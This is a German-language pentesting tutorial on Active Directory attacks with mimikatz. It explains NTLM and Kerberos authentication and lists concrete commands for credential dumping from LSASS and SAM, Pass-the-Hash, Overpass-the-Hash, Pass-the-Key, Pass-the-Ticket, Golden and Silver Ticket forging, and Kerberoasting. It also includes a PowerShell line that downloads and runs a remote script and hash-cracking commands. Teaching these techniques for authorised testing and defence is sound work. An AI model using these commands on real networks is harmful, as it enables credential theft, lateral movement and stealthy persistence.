Active Directory Hacking: Angriffe mit mimikatz

In diesem Tutorial werden wir einige Angriffstechniken gegen die Active Directory-Infrastruktur beleuchten und erklären, wie Angriffe mithilfe von „mimikatz“ durchgeführt werden können. Bei mimikatz handelt es sich um ein freies Open Source Werkzeug für Penetrationstester, welches häufig in der Post-Exploitation-Phase eines Penetrationstests zum Einsatz kommt und eine Vielzahl von Angriffstechniken gegen MS Windows und Active Directory bietet.

So ermöglicht es unter anderem, Passwörter im Klartext auszulesen. Dadurch unterstützt es Pentester in der Post-Exploitation-Phase unter anderem dabei, zusätzliche Benutzer-Accounts eines Windows Domain-Members zu kompromittieren, Rechte auszuweiten (Privilege escalation) oder ausgehend von einem System weitere Systeme anzugreifen.

Mimikatz

Beim Herunterladen von Mimikatz sollte unbedingt darauf geachtet werden, dass die Quelle vertrauenswürdig ist.

Offizielle Paketquellen des Betriebssystems

Bei einigen Betriebssystemen wie z. B. „Kali Linux“ ist Mimikatz bereits in den offiziellen Paketquellen (Repositories) enthalten, sodass es sich direkt über die zentrale Paketverwaltung des Betriebssystems herunterladen lässt. In Kali Linux würde der Befehl hierfür wie folgt lauten:

sudo apt install mimikatz

Offizielles GitHub-Repository des Autors

Das offizielle GitHub-Repository des Autors Benjamin Delpy findet ihr unter folgendem Link:

• https://github.com/gentilkiwi/mimikatz

Dort könnt ihr euch entweder vorkompilierten Binaries herunterladen oder den Quellcode selbst beziehen, um diesen dann eigenständig zu kompilieren. Letzteres wird spätestens dann interessant, wenn man sich mit dem Thema AV-Evasion (Umgehung von Antivirus-Software) befasst.

Die vorkompilierten Binaries findet ihr unter:

• https://github.com/gentilkiwi/mimikatz/releases

Betriebssystem-Architektur

In den Paketen sind jeweils zwei Versionen enthalten:

• Win32 (für Microsoft Windows mit 32-Bit-Architektur)

  • mimikatz.exe

  • mimilib.dll

  • mimidrv.sys

  • mimilove.exe

• x64 (für Microsoft Windows mit 64-Bit-Architektur)

  • mimikatz.exe

  • mimilib.dll

  • mimidrv.sys

Es ist in jedem Fall darauf zu achten, die richtige Prozessorarchitektur für das jeweilige Zielsystem zu verwenden. Auf einem 64-Bit Windows-Betriebssystem lässt sich zwar auch die 32-Bit-Version ausführen, doch würde diese aufgrund der Übersetzungsschicht des WOW64-Subsystems (Windows-On-Windows 64-bit) nicht ordnungsgemäß funktionieren und wäre deshalb für die meisten Zwecke unbrauchbar.

Mimikatz Module und Syntax

Zur Syntax sei zunächst zu erwähnen, dass mimikatz nach Modulen strukturiert ist. Dabei werden Unterbefehle durch zwei Doppelpunkte getrennt vom Modul abgegrenzt. Beispiel:

standard::version

In diesem Beispiel würde also der Befehl „version“ des Moduls „standard“ ausgeführt werden. Um eine Liste aller Module zu erhalten, reicht es, einfach zwei Doppelpunkte einzugeben:

::

Zum Zeitpunkt der Erstellung dieses Artikels verfügte mimikatz über folgende Module.

    standard  -  Standardmodul  [Grundbefehle (Modulname nicht erforderlich)]
      crypto  -  Krypto Modul
    sekurlsa  -  SekurLSA Modul  [Befehle zum Enumerieren von Anmeldeinformationen..]
    kerberos  -  Kerberos Paket Modul
         ngc  -  Next Generation Kryptografie Modul (nur für Kiwi) [Befehle zum Enumerieren von Anmeldeinformationen..]
   privilege  -  Privilegien Modul
     process  -  Prozess Modul
     service  -  Service Modul
     lsadump  -  LsaDump Modul
          ts  -  Terminal Server Modul
       event  -  Ereignis Modul
        misc  -  „Sonstiges“ Modul
       token  -  Modul für Token-Manipulation
       vault  -  Windows Vault/Credential Modul
 minesweeper  -  MineSweeper Modul
         net  -
       dpapi  -  DPAPI Modul (per API oder RAW-Zugriff)  [Data Protection application programming interface]
   busylight  -  BusyLight Modul
      sysenv  -  Modul für Systemumgebungsvariablen 
         sid  -  Security Identifiers Modul
         iis  -  IIS XML Konfigurationsmodul
         rpc  -  RPC-Steuerung von mimikatz
        sr98  -  RF Modul für SR98-Geräet und T5577-Ziele
         rdm  -  RF-Modul für RDM(830 AL) Geräte
         acr  -  ACR Modul

Um herauszufinden, welche Funktionen sich hinter einem Modul verbergen, könnt ihr den Modulnamen gefolgt von zwei Doppelpunkten eingeben. Beispiel:

standard::

Es erscheint dann eine Auflistung aller Funktionen des jeweiligen Moduls. In diesem Beispiel würden also alle Funktionen des Moduls „standard“ angezeigt werden.

Mimikatz Berechtigungen: Debug-Privilegien

Seine volle Macht kann mimikatz nur ausspielen, wenn es mit administrativen Rechten gestartet und anschließend mit sogenannten „Debug-Privilegien“ ausgestattet wird.

Denn mimikatz erlaubt es unter anderem, Klartextpasswörter aus dem Arbeitsspeicher (RAM) auszulesen. Dies ist in Windows natürlich nicht ohne Weiteres möglich, da der entsprechende lsass.exe (Local Security Authority Subsystem Service) Prozess im Kontext des SYSTEM-Benutzers läuft und das Betriebssystem diesen und seine Speicherinhalte vor Zugriffen – selbst durch Administratoren! – schützt. Wir starten mimikatz testweise ohne administrative Rechte und führen mal folgenden Befehl aus:

sekurlsa::logonPasswords

Als Antwort erhalten wir eine Fehlermeldung:

ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

Grund hierfür ist, dass mimikatz noch nicht über die erforderlichen Debug-Privilegien verfügt. Denn um die Extrahierung zu bewerkstelligen, hängt sich mimikatz zum „Debuggen“ an den genannten lsass.exe-Prozess an. Windows erlaubt es Administratoren nämlich, sich zwecks Debugging an beliebige Pozesse anzuhängen – auch an den geschützten LSASS. Dies bedeutet jedoch, dass mimikatz zunächst über Administrator-Rechte verfügen muss. Um dies zu testen, starten wir unsere mimikatz.exe erneut, aber diesmal als Administrator (mit der rechten Maustaste anklicken und „Als Administrator ausführen” wählen). Nun verfügt mimikatz über administrative Rechte. Zu guter Letzt möchten wir mimikatz noch mit Debug-Privilegien ausstatten. Hierzu führen wir folgenden Befehl in mimikatz aus:

privilege::debug

Als Antwort erhalten wir folgende Meldung:

Privilege '20' OK

Das Einholen der Debug-Rechte scheint also geklappt zu haben.

Klartextpasswörter auslesen

Nun führen wir unseren ursprünglichen Befehl erneut aus:

sekurlsa::logonPasswords

Diesmal hat es geklappt. Die Extrahierung der Passwörter war erfolgreich.

Angriffstechniken

Die nachfolgend beschriebenen Angriffsszenarien finden meist in der Post-Exploitation-Phase eines Penetrationstests Anwendung und setzen deshalb voraus, dass bereits (administrativer) Zugang zu dem anzugreifenden Zielsystem besteht.

Pass-the-Hash (PtH)

Bei Pass-the-Hash handelt es sich um eine Angriffstechnik, bei der Angreifer nicht das Klartextkennwort, sondern den NTLM (oder LanMan) Hash eines Benutzers stehlen, um sich damit direkt bei einem Server oder Dienst zu authentifizieren. Aufgrund von Abwärtskompatibilität wird eine solche Authentifizierung mittels NTLM-Hash auch von neueren Windows-Versionen noch unterstützt.

Die Vorteile dieser Angriffstechnik sind, dass gestohlene Hashes nicht gecrackt werden müssen und dass auch lokale Benutzer-Hashes zur Authentifizierung auf Remote Dienste/Server genutzt werden können – sofern der Benutzer dort dasselbe Passwort verwendet.

Reguläre Authentifizierung über NTLM

Um das Problem besser zu verstehen, schauen wir uns zunächst einmal an, wie eine Authentifizierung mittels NTLM funktioniert:

In diesem Beispiel authentifiziert sich der Benutzer „whitehat.de\user1” bei einem Server, indem er sein Klartextpasswort in den Anmeldedialog eingibt. Das lokale Authentifizierungspaket MSV1_0 (msv1_0.dll) generiert daraufhin den entsprechenden NTLM-Hash und sendet diesen zur Authentifizierung an den Server. Das Klartextpasswort selbst wird zu keinem Zeitpunkt an den Server verschickt. Auch von der Erstellung des Hashes bekommt der Server nichts mit, bei ihm kommt lediglich der fertige Hash an.

Pass-the-Hash Authentifizierung

Da der Server zur Authentifizierung nur den Hash erwartet, kann ein Angreifer auf das MSV1_0 Authentifizierungspaket verzichten und sich stattdessen direkt mit dem gestohlenen NTLM-Hash authentifizieren. Das Klartextpasswort muss er hierfür nicht kennen. Der Server merkt keinen Unterschied, da bei ihm – wie immer und wie erwartet – ein Hash ankommt.

Pass-the-Hash Angriff durchführen

Um einen solchen Angriff durchzuführen, kann ein Angreifer beispielsweise mimikatz auf einem System ausführen, auf dem zeitgleich ein weiterer Benutzer eingeloggt ist, um dessen NTLM-Hash zu extrahieren. Der Befehl hierfür lautet in mimikatz wie folgt:

sekurlsa::msv

Alternativ könnten z. B. auch Hashes aus dem lokalen SAM (Security Account Manager) extrahiert werden:

token::elevate # mimikatz Berechtigung zu SYSTEM erhöhen
lsadump::sam

Ist ein entsprechender Hash einmal extrahiert, kann dieser dazu verwendet werden, mittels mimikatz einen neuen cmd.exe Prozess (Windows-Eingabeaufforderung) mit der gestohlenen Identität zu erzeugen. Hierbei setzt mimikatz dann bei NTLM-Authentifizierungen den gestohlenen Hash ein, um gegenüber dem Server als dieser Benutzer in Erscheinung zu treten. Der Befehl zum Starten der cmd.exe (benötigt Debug-Privilegien) lautet in mimikatz:

sekurlsa::pth /user:BENUTZERNAME /domain:DOMÄNE /ntlm:NTLM-HASH

Für unser zuvor gezeigtes Beispiel könnte der PtH Angriff also mit folgendem Befehl gestartet werden:

sekurlsa::pth /user:Administrator /domain:whitehat.de /ntlm:6d4f17e12f9a4a194f8a22430a42d4e4

Nachdem die cmd.exe erfolgreich erzeugt wurde, kann der Angreifer im Kontext der gestohlenen Identität mit dem Server interagieren, um z. B. auf entsprechende Shares oder andere Ressourcen zuzugreifen.

Pass-the-Key (PtK), Overpass-the-Hash (OtH)

„Overpass-the-Hash” und „Pass-the-Key” Angriffe zielen darauf ab, den Kerberos Encryption Key (PtK) oder den NTLM-Hash (OtH) des Benutzers zu stehlen, um damit Kerberos-Tickets anzufordern. Besonders in Netzwerken, in denen das NTLM-Protokoll deaktiviert und nur Kerberos als Authentifizierungsprotokoll erlaubt ist, sind diese Angriffe sehr nützlich.

Schauen wir uns zunächst einmal den regulären Ablauf einer Kerberos-Authentifizierung an.

Kerberos Ticketausstellung

In diesem Beispiel loggt sich der Benutzer „whitehat.de\user1” mit seinen Domänen-Zugang an seinem Computer ein. Hierbei speichert der „Local Security Authority Subsystem Service” (lsass.exe) entsprechende Kerberos-Geheimnisse für den Benutzer ab. Ein Kerberos Ticket existiert zu diesem Zeitpunkt noch nicht.

1. [AS Anfrage]: Nachdem der Benutzer versucht, auf eine Ressource der Domäne (Fileserver) zuzugreifen, fragt der Kerberos Provider (kerberos.dll) beim Domain Controller (KDC / AS) ein sogenanntes Ticket Granting Ticket (TGT) an.

2. [AS Antwort]: War die Anfrage erfolgreich, erhält der Client ein Ticket Granting Ticket.

   1. TGS: verschlüsselt mit Secret TGS-Key

   2. Session-Key: verschlüsselt mit Secret-Key des Clients

3. [TGS Anfrage]: Hiermit kann der Client nun eine Anfrage an den Ticket Granting Service (TGS) stellen und ihm mitteilen, auf welche Ressource er zugreifen möchte – in diesem Beispiel auf den genannten Fileshare.

   1. TimeStamp: verschlüsselt mit TGS Session-Key

4. [TGS Antwort]: War die Anfrage erfolgreich, erhält der Client ein sogenanntes Service Ticket

   1. Session Key: verschlüsselt mit Secret-Key des Clients

   2. Ticket für Zielserver: verschlüsselt mit SecretKey des Zielservers

5. [Zielserver Anfrage]: Nun kann der Client mittels Service Ticket die gewünschte Ressource beim Zielserver anfragen

   1. TimeStamp: verschlüsselt mit Session-Key

   2. Service Ticket

6. [Zielserver Antwort]: Gegenseitige Authentifizierung abgeschlossen.

Overpass-the-Hash (OtH)

Gelangt ein Angreifer in den Besitz des NTLM-Hashes, z. B. indem er die Kerberos Geheimnissen ausliest, kann er diesen Hash benutzen, um damit ein Ticket Granting Ticket für die gestohlene Identität anzufragen. Hiermit kann der Angreifer dann – wie nach einer regulären Authentifizierung – ein Service Ticket ausstellen lassen, um anschließend auf entsprechend Ressourcen des Zielservers zuzugreifen.

Overpass-the-Hash Angriff durchführen

Auch hierbei muss mimikatz zunächst mit Debug Privilegien ausgestattet werden:

privilege::debug

Anschließend können Kerberos Geheimnisse (NTLM-Hash, Encryption Keys ..) mit folgendem Befehl ausgelesen werden:

sekurlsa::ekeys

Nun kann der Overpass-the-Hash Angriff mit folgendem Befehl ausgeführt werden:

sekurlsa::pth /user:BENUTZERNAME /domain:DOMÄNE /ntlm:NTLM-HASH

In dem oben genannten Beispiel also konkret:

sekurlsa::pth /user:Administrator /domain:whitehat.de /ntlm:557ef604cb1864d3a6d1d5f7374c12dc

Daraufhin öffnet sich eine cmd.exe Session im Kontext der gestohlenen Identität. Diese kann man dann verwenden, um z. B. auf entsprechende Ressourcen zuzugreifen.

Hinweis: Windows verwendet automatisch Kerberos, wenn ein Domänen-Hostname und NTLM, wenn eine IP-Adresse angesprochen wird. Somit kann der Benutzer beim Anfragen von Domänen Ressourcen steuern, ob er gerade einen Pass-the-Hash (PtH) oder Overpass-the-Hash (OtH) durchführen möchte.

Pass-the-Key (PtK)

Bei Pass-the-Key (PtK) sind Aufbau und Vorgehensweise fast identisch zu Overpass-the-Hash (OtH) Angriffen. Der Unterschied besteht darin, dass bei PtK statt des NTLM-Hash, der Kerberos Encryption Key gestohlen und zur Authentifizierung verwendet wird.

Pass-the-Key Angriff durchführen

Der Angriff erfolgt ähnlich wie beim Overpass-the-Hash (OtH) Angriff. Zunächst muss mimikatz mit Debug-Privilegien ausgestattet werden:

privilege::debug

Anschließend kann der Angriff mit folgendem Befehl erfolgen:

sekurlsa::pth /user:BENUTZERNAME /domain:DOMÄNE /aes256:AES256_KEY

In dem vorherigen Beispiel würde der Befehl also konkret wie folgt aussehen:

sekurlsa::pth /user:Administrator /domain:whitehat.de /aes256:4c76f05ccdd2f967699f43499c8c83c0d870d5de7717ed8d91799be083fc2291

Pass-the-Ticket (PtT)

Bei Pass-the-Ticket (PtT) Angriffen werden (auf einem kompromittierten System) Kerberos Tickets angemeldeter Benutzer extrahiert, um diese weiterzuverwenden. Diese Angriffstechnik ist vor allem dann erfolgreich, wenn Benutzer sich nicht sauber aus dem System ausgeloggt haben und deshalb entsprechende Tickets im Arbeitsspeicher (RAM) des Systems vorgehalten werden.

Dabei kann ein solcher Angriff auf zwei Arten erfolgen:

1. Stehlen und Verwenden des User Ticket Granting Tickets (TGT)

2. Stehlen und Verwenden des Service Tickets

User Ticket Granting Ticket (TGT) stehlen und verwenden

Das Verwenden eines gestohlenen TGT funktioniert wie folgt:

Es wird ein gestohlenes Ticket eingesetzt, um sich auf der Domäne entsprechende Service Tickets ausstellen zu lassen. Die Schritte 1 (AS Anfrage) und 2 (AS Antwort) entfallen, da ein TGT bereits vorliegt und deshalb nicht angefragt werden muss.

Pass-the-Ticket Angriff für TGT durchführen

Mit folgendem Befehl werden die Kerberos Tickets aller angemeldeten Benutzer exportiert:

sekurlsa::tickets /export

Dabei werden die Tickets als .kirbi Dateien in das Verzeichnis von mimikatz abgespeichert.

Um nun eines dieser exportierten Tickets zu verwenden, müssen folgende Befehle ausgeführt werden:

kerberos::ptt DATEI.kirbi
misc::cmd

Daraufhin wird wie gewohnt eine cmd.exe Sitzung im Kontext des gestohlenen Tickets erstellt, sodass ihr z. B. mit der gestohlenen Identität auf entsprechende Ressourcen zugreifen könnt.

Service Tickets stehlen und verwenden

Das Verwenden eines gestohlenen Service Tickets funktioniert ähnlich:

Hierbei entfallen die Schritte 1 (AS Anfrage), 2 (AS Antwort), 3 (TGS Anfrage) und 4 (TGS Antwort), da bereits ein fertiges Service-Ticket vorliegt und ohne Umwege verwendet werden kann.

Pass-the-Ticket Angriff für Service Tickets durchführen

Die Vorgehensweise ist identisch zu der TGT Variante des Pass-the-Ticket Angriffs. Über folgenden Befehl werden die Kerberos Tickets aller angemeldeten Benutzer exportiert und in das Verzeichnis von mimikatz abgelegt:

sekurlsa::tickets /export

Anschließend kann ein exportiertes Service Ticket über folgende Befehle verwendet werden:

kerberos::ptt DATEI.kirbi
misc::cmd

Kerberos Golden Tickets

Ist es einem Angreifer gelungen, die Identität des krbtgt-Accounts zu stehlen (z. B. indem er in den Besitz des NTLM-Hashes oder des AES Encryption Keys gelangt ist), kann er mithilfe von mimikatz beliebige Ticket Granting Tickets (TGT) erstellen – auch für nicht existierende Benutzer. Mit einem selbst erstellten TGT ist es einem Angreifer möglich, den Zugang zu gestohlenen Identitäten aufrechtzuerhalten, selbst wenn sich die Passwörter der entsprechenden Accounts in der Zukunft mal ändern. Mimikatz setzt die Lebensdauer eines selbst erzeugten TGT standardmäßig auf 10 Jahre. Solche künstlich (d. h. nicht durch den KDC, sondern mithilfe von mimikatz) erzeugten Ticket Granting Tickets werden „Golden Tickets“ genannt.

Kerberos Golden Ticket Angriff durchführen

Der Befehl zum Auslesen der Geheimnisse des krbtgt Benutzers lautet wie folgt:

lsadump::dcsync /user:krbtgt

Wichtig: Hierzu muss mimikatz mit Domänenadministratorrechten gestartet sein. War das Auslesen erfolgreich, können nun Golden Tickets erzeugt werden. Hierzu muss folgender Befehl im mimkatz ausgeführt werden:

kerberos::golden /domain:DOMÄME /sid:SID /user:USER /groups:GROUPS /ptt

Um die SID der Domäne zu ermitteln führen wir zunächst folgenden Befehl in der Windows Kommandozeile aus:

whoami /user

Als Antwort erhalten wir unsere Benutzer SID. Entfernen wir den letzten Block (in diesem Fall „-1107“), ergibt sich daraus unsere Domänen SID. Nachdem uns nun also die Domänen SID bekannst ist, können wir mit folgendem Befehl unser Golden Ticket erzeugen:

kerberos::golden /domain:whitehat.de /sid:S-1-5-21-3913518516-653834210-1034227736 /aes128:96f7460ed2218d594301ba6535176c45 /user:MichGibtEsNicht /groups:512,513,518,519,520 /ptt

Dabei haben die Paramter folgende Bedeutung:

# Allgemein
/domain - der vollqualifizierte Domainname (FQDN)
/sid - die SID der Domäne (z. B.: S-1-5-21-130452501-2365100805-3685010670)
/user - der Benutzername, für den Sie sich ausgeben wollen
/id - optional - die ID des Benutzers - Standardmäßig: 500 (Administrator)
/groups - optional - ID's der Gruppen, zu denen der Benutzer gehören soll (die erste ist die primäre Gruppe, kommagetrennt) - Standardmäßig: 513,512,520,518,519 (Administrator-Gruppen)

# Schlüssel
/rc4 oder /krbtgt - der NTLM-Hash
/aes128 - der AES128-Schlüssel
/aes256 - der AES256-Schlüssel

# Ziel
/ticket - optional - Dateiname zum Speichern des Tickets - Standardmäßig: ticket.kirbi
/ptt - keine Datei speichern, stattdesen das Golden Ticket in die aktuelle Sitzung injizieren

Hinweis: Bei nicht existierenden Benutzernamen ist eine Verwendung nur 20 Minuten lang möglich, da nach 20 Minuten eine Re-Validierung vorgenommen wird. Während dieser 20 Minuten können jedoch beliebig viele Service-Tickets ausgestellt werden, welche dann mehrere Stunden oder länger gültig sind. Bei existierenden Benutzern hingegen ist die Verwendung so lange möglich, wie bei Erzeugung des TGT angegeben.

Kerberos Silver Tickets

Bei Silver Tickets handelt es sich ebenfalls um künstlich erzeugte Tickets, doch im Gegensatz zu der „Golden Ticket“ Variante werden dabei keine Ticket Granting Tickets (TGT), sondern Service Tickets erzeugt. Um ein Silver Ticket zu erzeugen, muss der Angreifer im Besitz des Maschinen-Accounts (des anzugreifenden Zielsystems) sein. Ist dies der Fall, kann er sich Service-Tickets (mit beliebigem Benutzernamen und beliebiger Berechtigung) für das Zielsystem erstellen, ohne mit dem Domain Controller kommunizieren zu müssen. Deshalb ist es bei einem Angriff mit einem Silver Ticket möglich, auf Ressourcen zuzugreifen, ohne dabei Spuren in den Logs des Domain Controllers (DC) zu hinterlassen. Somit können ggf. Alarme auf einem SIEM-System vermieden werden.

Kerberos Silver Ticket Angriff durchführen

Der NTLM-Hash einer Maschine kann mit folgenden Befehlen extrahiert werden:

privilege::debug
sekurlsa::msv

Anschließend kann mit folgendem Befehl ein Silver Ticket erzeugt werden:

kerberos::golden /domain:DOMÄME /sid:SID /rc4:RC4 /target:TARGET /user:USER /groups:GROUPS /ptt

Ein vollständiger Befehl könnte also z. B. so aussehen:

kerberos::golden /domain:whitehat.de /sid:S-1-5-21-3913518516-653834210-1034227736 /rc4:9c9e89b592c80e2e13f5695953709271 /target:fileserver.whitehat.de /user:Administrator /groups:512,513,518,519,520 /ptt

Kerberoasting

Bei Kerberoasting geht es drum, Passwort-Hashes von privilegierten Service-Accounts mittels Brute-Force zu knacken, um so an entsprechende Klartext-Passwörter zu gelangen. Dabei zielt diese Technik vor allem auf „Sonderfälle“ ab, bei denen ein von Hand angelegter Service-Account mit einem SPN verknüpft wurde, so dass zur Verschlüsselung nicht das standardmäßig starke, 120-Zeichen lange Passwort des Computer$-Accounts, sondern das (unter Umständen schwache) Passwort des entsprechenden Service-Accounts verwendet wird.

Der Angreifer muss also zunächst wissen, welche Kerberos SPNs mit einem selbst angelegten Service-Account verknüpft sind. „Erfreulicherweise“ kann jeder Benutzer einer Domäne (ohne administrativen Rechte!) anfragen, welche SPNs es auf der Domäne gibt und mit welchen Accounts Sie verknüpft sind. Dadurch können Angreifer im Vorfeld in Erfahrung bringen, bei welchen SPNs ein solcher Angriff funktionieren könnte und bei welchen es sich nicht anzugreifen lohnt, da Sie mit dem komplexen Passwort des Computer$-Accounts verschlüsselt sind. Voraussetzung für diese Art von Angriff ist lediglich, dass der Angreifer Mitglied der Domäne ist.

Um das Prinzip zu verstehen, schauen wir uns noch einmal die Kerberos Authentifizierungsschritte an:

• In Schritt 3 wird mit dem Benutzer-TGT ein Service Ticket für einen SPN (z. B. cifs@fileserver) beim TGS angefragt.

• In Schritt 4 sendet der TGS ein mit dem Passwort des Computer$- oder Service-Accounts verschlüsselten Service-Ticket für den angefragten SPN zurück.

Diese beiden Schritte können beliebig oft für beliebige SPN wiederholt werden, ohne dass der eigentliche Zielserver (in dem o. g. Beispiel ein Fileserver) kontaktiert werden muss. Um dies nicht von Hand tun zu müssen, existieren zahlreiche Skripte im Internet.

Eines dieser Skripte ist von Tim Medin, dem Entdecker der Kerberoasting-Technik:

• https://github.com/nidem/kerberoast

Kerberoasting Angriff durchführen

Variante 1: GetUserSPN + mimikatz

An dieser Stelle kommt das folgende nützliche PowerShell Skript zum Einsatz, welches alle SPNs einer Domäne auflistet, die Benutzerkonten verwenden und deshalb für Kerberoasting-Angriff geeignet wären:

https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1

Das Skript erfordert keine Administratorrechte d. h. jeder beliebige Domänenbenutzer kann es ausführen. Um das Skript direkt aus Github zu laden und auszuführen, kann folgender Powershell-Befehl verwendet werden (Hinweis: Fremde Skripte sollte man grundsätzlich immer überprüfen oder überprüfen lassen, bevor man Sie ausführt):

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1')

Nach dem Ausführen werden alle SPNs angezeigt, die mit einem selbst angelegten Service-Account verknüpft sind.

Hat der Angreifer sein anzugreifendes SPN ermittelt, kann er sich mit folgenden Powershell-Befehlen ein Service-Ticket ausstellen lassen:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList IIS-Benutzer/fileserver.whitehat.de:80

Das ausgestellte Ticket kann anschließend mithilfe von mimikatz aus dem RAM (Arbeitsspeicher) extrahiert werden:

kerberos::list /export

Danach sollten sich alle extrahierten Kerberos-Tickets (mit der Dateiendung .kirbi) im Verzeichnis von mimikatz befinden. Diese .kirbi-Dateien können zu guter Letzt in ein für John-The-Ripper crackbares Format konvertiert werden. Hierfür bietet John-The-Ripper das „kirbi2john.py“ Skript. In Kali-Linux liegt es, sofern John-The-Ripper installiert ist, unter:

• /user/share/john/kirbi2john.py

Zum Konvertieren einer .kirbi Datei könnte unter Kali-Linux also folgender Befehl eingegeben werden:

python /usr/share/john/kirbi2john.py DATEINAME.kirbi > DATEINAME.txt

Konvertierte Dateien können dann mittels John-The-Ripper gecrackt werden.

john --format=krb5tgs 1-40210000-benutzer1@IIS-Benutzer~fileserver.whitehat.de~80-WHITEHAT.DE.kirbi.txt --wordlist=/usr/share/wordlists/rockyou.txt

Der Hash konnte erfolgreich geknackt werden. Das Klartextpasswort lautet "www.WhiteHat.de".

Variante 2: Invoke-Kerberoast

Mit dem Skript „Invoke-Kerberoast.ps1” des „PowerShell-Empire” Projekts gibt es inzwischen eine bequemere Variante, einen Kerberoasting Angriff durchzuführen. Hierbei werden praktischerweise direkt Formate erzeugt, welche mit John-The-Ripper oder Hashcat gecrackt werden können, so dass keine manuelle Konvertierung vorgenommen werden muss. Das Skript kann aus folgender Quelle bezogen werden:

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

Ausführen lässt sich das Skript dann wie folgt:

Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -Format Hashcat | Select-Object Hash | ConvertTo-Csv -NoTypeInformation | Out-File kerberoast-hashes.csv

Anschließend können die zu crackenden Passwort-Hashes aus der CSV-Datei kopiert und z. B. in eine Textdatei abgelegt werden, um sie mit Hashcat zu laden. Um einen solchen Hash dann in Hashcat zu cracken, kann folgender Befehl ausgeführt werden:

hashcat -m 13100 -a0 kerberoast-hash.txt /usr/share/wordlists/rockyou.txt -O

Der Hash wurde gecrackt und das Klartextpasswort ("www.WhiteHat.de") ausgegeben.